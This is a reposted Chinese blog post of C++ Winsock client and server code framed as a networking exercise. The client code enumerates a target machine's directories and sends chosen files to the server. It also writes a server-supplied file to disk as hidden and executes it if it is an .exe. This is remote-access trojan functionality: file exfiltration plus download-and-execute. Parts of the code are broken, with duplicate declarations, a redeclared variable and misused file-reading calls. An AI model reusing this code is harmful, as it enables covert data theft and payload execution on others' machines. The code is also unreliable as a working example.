网络编程(3.0)
2023-12-25 17:56:04
Client
#include<iostream>
#include<WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
#pragma warning(disable:4996)
LPCWSTR StringToLPCWSTR(const char* str)
{
int nLen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
wchar_t* wstr = new wchar_t[nLen + 1];
MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, nLen + 1);
return wstr;
}
// 获取文件名
void GetFileName(LPCWSTR lpPath, char* szFileName)
{
int nLen = wcslen(lpPath);
for (int i = nLen - 1; i >= 0; i--)
{
if (lpPath[i] == '\\')
{
nLen = i;
break;
}
}
wcstombs(szFileName, &lpPath[nLen + 1], nLen);
}
// 文件格式枚举
enum FileType {
FileType_EXE,
FileType_DLL,
FileType_ELF,
FileType_ZIP,
FileType_JPG,
FileType_PNG,
FileType_BMP,
FileType_RAR,
FileType_Unknown=NULL
};
// 判断文件格式
FileType GetFileType1(HANDLE hFile) {
// 读取文件头
char header[1024];
DWORD bytesRead = 0;
ReadFile(hFile, header, sizeof(header), &bytesRead, NULL);
// 判断文件格式
if (memcmp(header, "MZ", 2) == 0) {
return FileType_EXE;
}
else if (memcmp(header, "PE", 2) == 0) {
return FileType_DLL;
}
else if (memcmp(header, "\x7fELF", 4) == 0) {
return FileType_ELF;
}
else if (memcmp(header, "PK", 2) == 0) {
return FileType_ZIP;
}
else if (memcmp(header, "\xFF\xD8\xFF\xE0", 4) == 0) {
return FileType_JPG;
}
else if (memcmp(header, "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A", 8) == 0) {
return FileType_PNG;
}
else if (memcmp(header, "BM", 2) == 0) {
return FileType_BMP;
}
else if (memcmp(header, "Rar!\x1a\x07\x00\x00", 6) == 0) {
return FileType_RAR;
}
// 未知文件格式
return FileType_Unknown;
}
// 获取目标机器的文件目录结构
void GetDirectoryStructure(LPCWSTR lpPath)
{
// 启动文件搜索
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileExW(lpPath, FindExInfoBasic, &findData, FindExSearchNameMatch, NULL, 0);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
// 循环遍历搜索结果
while (true) {
// 获取文件或目录信息
WCHAR fileName[MAX_PATH];
wcscpy_s(fileName, findData.cFileName);
DWORD fileAttributes = findData.dwFileAttributes;
// 判断是否是文件
if (fileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
// 是目录,继续遍历子目录
GetDirectoryStructure(fileName);
}
else {
// 是文件,输出文件信息
printf("文件:%s\n", fileName);
}
// 获取下一个搜索结果
if (!FindNextFileW(hFind, &findData)) {
break;
}
}
// 关闭文件搜索句柄
FindClose(hFind);
}
// 获取目标文件夹文件详细信息(文件名,后缀,大小,是否隐藏)
void GetDirectoryInfo(LPCWSTR lpPath)
{
/// 启动文件搜索
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileExW(lpPath, FindExInfoBasic, &findData, FindExSearchNameMatch, NULL, 0);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
// 循环遍历搜索结果
while (true) {
// 获取文件信息
WCHAR fileName[MAX_PATH];
wcscpy_s(fileName, findData.cFileName);
DWORD fileAttributes = findData.dwFileAttributes;
// 获取文件名和后缀
WCHAR* p = fileName;
while (*p != '.') {
p++;
}
WCHAR suffix[MAX_PATH];
wcsncpy_s(suffix, p + 1, wcslen(p + 1));
// 获取文件大小
DWORD fileSize = GetFileSize(findData.cFileName, NULL);
// 判断是否隐藏
bool isHidden = (fileAttributes & FILE_ATTRIBUTE_HIDDEN) != 0;
// 输出文件信息
printf("文件名:%s\n", fileName);
printf("后缀:%s\n", suffix);
printf("大小:%d 字节\n", fileSize);
printf("是否隐藏:%s\n", isHidden ? "是" : "否");
// 获取下一个搜索结果
if (!FindNextFileW(hFind, &findData)) {
break;
}
}
// 关闭文件搜索句柄
FindClose(hFind);
}
// 实现指定路径下按文件名文件搜索功能
void SearchFileByName(LPCWSTR lpPath)
{
// 启动文件搜索
WIN32_FIND_DATAW findData;
HANDLE hFind = FindFirstFileExW(lpPath, FindExInfoBasic, &findData, FindExSearchNameMatch, NULL,0);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
// 循环遍历搜索结果
while (true) {
// 获取文件信息
WCHAR fileName[MAX_PATH];
wcscpy_s(fileName, findData.cFileName);
// 判断文件格式
FileType fileType = GetFileType1(hFind);
// 输出文件信息
printf("文件名:%s\n", fileName);
printf("文件格式:%d\n", fileType);
// 获取下一个搜索结果
if (!FindNextFileW(hFind, &findData)) {
break;
}
}
// 关闭文件搜索句柄
FindClose(hFind);
}
// 实现指定文件回传服务器功能
void SendFileToServer(LPCWSTR lpLocalPath, SOCKET s)
{
// 获取文件句柄
HANDLE hFile = CreateFileW(lpLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return;
}
// 获取文件大小
DWORD dwFileSize = GetFileSize(hFile, NULL);
// 发送文件名
char szFileName[MAX_PATH] = { 0 };
GetFileName(lpLocalPath, szFileName);
int nLen = strlen(szFileName) + 1;
send(s, szFileName, nLen, 0);
// 发送文件内容
char buf[1024] = { 0 };
int nRead = 0;
while ((nRead = ReadFile(hFile, buf, 1024, NULL,0)) > 0)
{
send(s, buf, nRead, 0);
}
// 关闭文件句柄
CloseHandle(hFile);
}
// 实现服务器下发任意文件到客户端的功能
void SendFileToClient(SOCKET s)
{
// 接收文件名
char szFileName[MAX_PATH] = { 0 };
int nLen = recv(s, szFileName, MAX_PATH, 0);
if (nLen <= 0)
{
return;
}
LPCWSTR szfle=StringToLPCWSTR(szFileName);
// 创建文件句柄
HANDLE hFile = CreateFileW(szfle, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return;
}
// 接收文件内容
char buf[1024] = { 0 };
int nRead = 0;
while ((nRead = recv(s, buf, 1024, 0)) > 0)
{
WriteFile(hFile, buf, nRead, NULL,0);
}
// 关闭文件句柄
CloseHandle(hFile);
// 判断文件类型
if (wcscmp(szfle + nLen - 4, L".exe") == 0)
{
// 运行文件
WinExec(szFileName, SW_SHOW);
}
}
int main()
{
//初始化代码
WORD wVersion = MAKEWORD(2, 2);
WSADATA wsadata;
if (WSAStartup(wVersion, &wsadata) != 0)
{
return 0;
}
//1.socket创建套接字,返回句柄
SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
//第一个参数协议族
//第二个参数类型,什么流
//第三个,一般设置为0
if (s == INVALID_SOCKET)
{
return 0;//创建失败
}
sockaddr_in add;
int len = sizeof(sockaddr_in);
add.sin_family = AF_INET;
add.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//表示接受本机
add.sin_port = htons(11111);
//2.connect主动链接服务器
int i = connect(s, (sockaddr*)&add, len);
if (SOCKET_ERROR == i)
{
return 0;
}
//3.接受、发送数据
WCHAR lpPath[MAX_PATH]={0};
char szPath[MAX_PATH]={0};
char sbuf[256] = { 0 };
char cmd[256] = { 0 };
char resp[256] = { 0 };
int ret = recv(s, sbuf, 256, 0);
if (ret == 0)
{
return 0;//链接断开
}
else if (ret > 0)
{
printf(sbuf);
printf("\n");
}
printf("请输入指令:\n");
scanf("%s", cmd);
int ret1 = send(s, cmd, sizeof(cmd), 0);
wcstombs(szPath, lpPath, MAX_PATH);
int ret2 = recv(s, resp, 256, 0);
LPCWSTR lpPath = StringToLPCWSTR(szPath);
if (ret2 == 0)
{
return 0;//链接断开
}
else if (ret2 > 0)
{
printf("响应:%s\n", resp);
printf("输入文件路径\n");
wscanf(L"%ls", lpPath);
wcstombs(szPath, lpPath, MAX_PATH);
switch (resp[0]) {
case 'L':
int ret0 = send(s, szPath, sizeof(lpPath), 0);
int re_t0 = recv(s, szPath, sizeof(lpPath), 0);
GetDirectoryStructure(lpPath);
break;
case 'I':
GetDirectoryInfo( lpPath);
break;
case 'F':
SearchFileByName( lpPath );
break;
case 'G':
SendFileToServer(lpPath,s);
break;
case 'P':
SendFileToServer(lpPath, s);
SendFileToClient( s);
break;
default:
printf("未知指令:%s\n", cmd);
break;
}
}
closesocket(s);
//反初始化操作
WSACleanup();
}
server
#include<iostream>
#include<WinSock2.h>
#pragma comment (lib,"ws2_32.lib")
#pragma warning (disable:4996)
PCWSTR StringToLPCWSTR(const char* str)
{
int nLen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
wchar_t* wstr = new wchar_t[nLen + 1];
MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, nLen + 1);
return wstr;
}
int main()
{
//初始化代码
WORD wVersion = MAKEWORD(2, 2);
WSADATA wsadata;
if (WSAStartup(wVersion, &wsadata) != 0)
{
return 0;
}
//1.socket创建套接字,返回句柄
SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
//第一个参数协议簇(AE_INET ,ipv4,AF_INET6,ipv6;AF_UNIX,本机通信)
//第二个参数类型(SOCK_STREAM,TCP流,SOCK_DGRAM,UDP数据报)
//第三个参数一般设置0
if (s == INVALID_SOCKET)
{
return 0;///创建套接字失败
}
//2、bind/listen 绑定、监听端口
//端口号用于区别那个应用,比如QQ发送的数据还是浏览器发送的数据
sockaddr_in add;
int len = sizeof(sockaddr_in);
add.sin_family = AF_INET;//协议族
add.sin_addr.S_un.S_addr = inet_addr("0.0.0.0");//表示接受任意IP地址
add.sin_port = htons(11111);//网络字节序是大尾方式,本地字节序是小尾方式
int i = bind(s, (sockaddr*)&add, len);
listen(s, 5);//瞬间来五个用户
//3、accept等待别人链接
//获取客户端IP地址以及端口
sockaddr_in caddr;
caddr.sin_family = AF_INET;
int caddrlen = sizeof(sockaddr_in);
SOCKET sclient = accept(s, (sockaddr*)&caddr, &caddrlen);
if (sclient == INVALID_SOCKET)
{
return 0;
}
int ret = send(sclient, "已链接", strlen("已连接"), 0);
char cmd[256] = { 0 };
CHAR szPath[MAX_PATH] = { 0 };
int ret1 = recv(sclient, cmd,sizeof(cmd), 0);
int ret0 = recv(sclient, szPath, sizeof(szPath), 0);
if (ret1 == 0)
{
return 0;//链接断开
}
else if (ret1>0)
{
switch (cmd[0])
{
case'L':
int ret2 = send(sclient, "L", strlen("L"), 0);
break;
case 'I':
int ret2 = send(sclient, "I", strlen("I"), 0);
break;
case 'F':
int ret2= send(sclient, "F", strlen("F"), 0);
case 'G':
int ret2 = send(sclient, "G", strlen("G"), 0);
char szFileName[MAX_PATH] = { 0 };
int nLen = strlen(szFileName) + 1;
int ret3 = recv(sclient, szFileName, nLen, 0);
if (ret3 == 0)
{
return 0;//链接断开
}
else if (ret3 > 0)
{
printf(szFileName);
}
char buf[1024] = { 0 };
int ret4= recv(sclient, buf, 1024, 0);
if (ret4 == 0)
{
return 0;//链接断开
}
else if (ret4 > 0)
{
printf(buf);
}
break;
case 'P':
int ret2 = send(sclient, "P", strlen("P"), 0);
char szFileName[MAX_PATH] = { 0 };
int nLen = strlen(szFileName) + 1;
int ret3 = recv(sclient, szFileName, nLen, 0);
if (ret3 == 0)
{
return 0;//链接断开
}
else if (ret3 > 0)
{
printf(szFileName);
send(sclient, szFileName, MAX_PATH, 0);
}
char buf[1024] = { 0 };
int ret4 = recv(sclient, buf, 1024, 0);
if (ret4 == 0)
{
return 0;//链接断开
}
else if (ret4 > 0)
{
printf(buf);
send(sclient, buf, MAX_PATH, 0);
}
break;
default:
// 未知指令
printf("未知指令:%s\n", cmd);
break;
}
}
closesocket(sclient);
//反初始化操作
WSACleanup();
std::cout << "hello\n";
}
文章来源:https://blog.csdn.net/m0_72827793/article/details/135202813
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!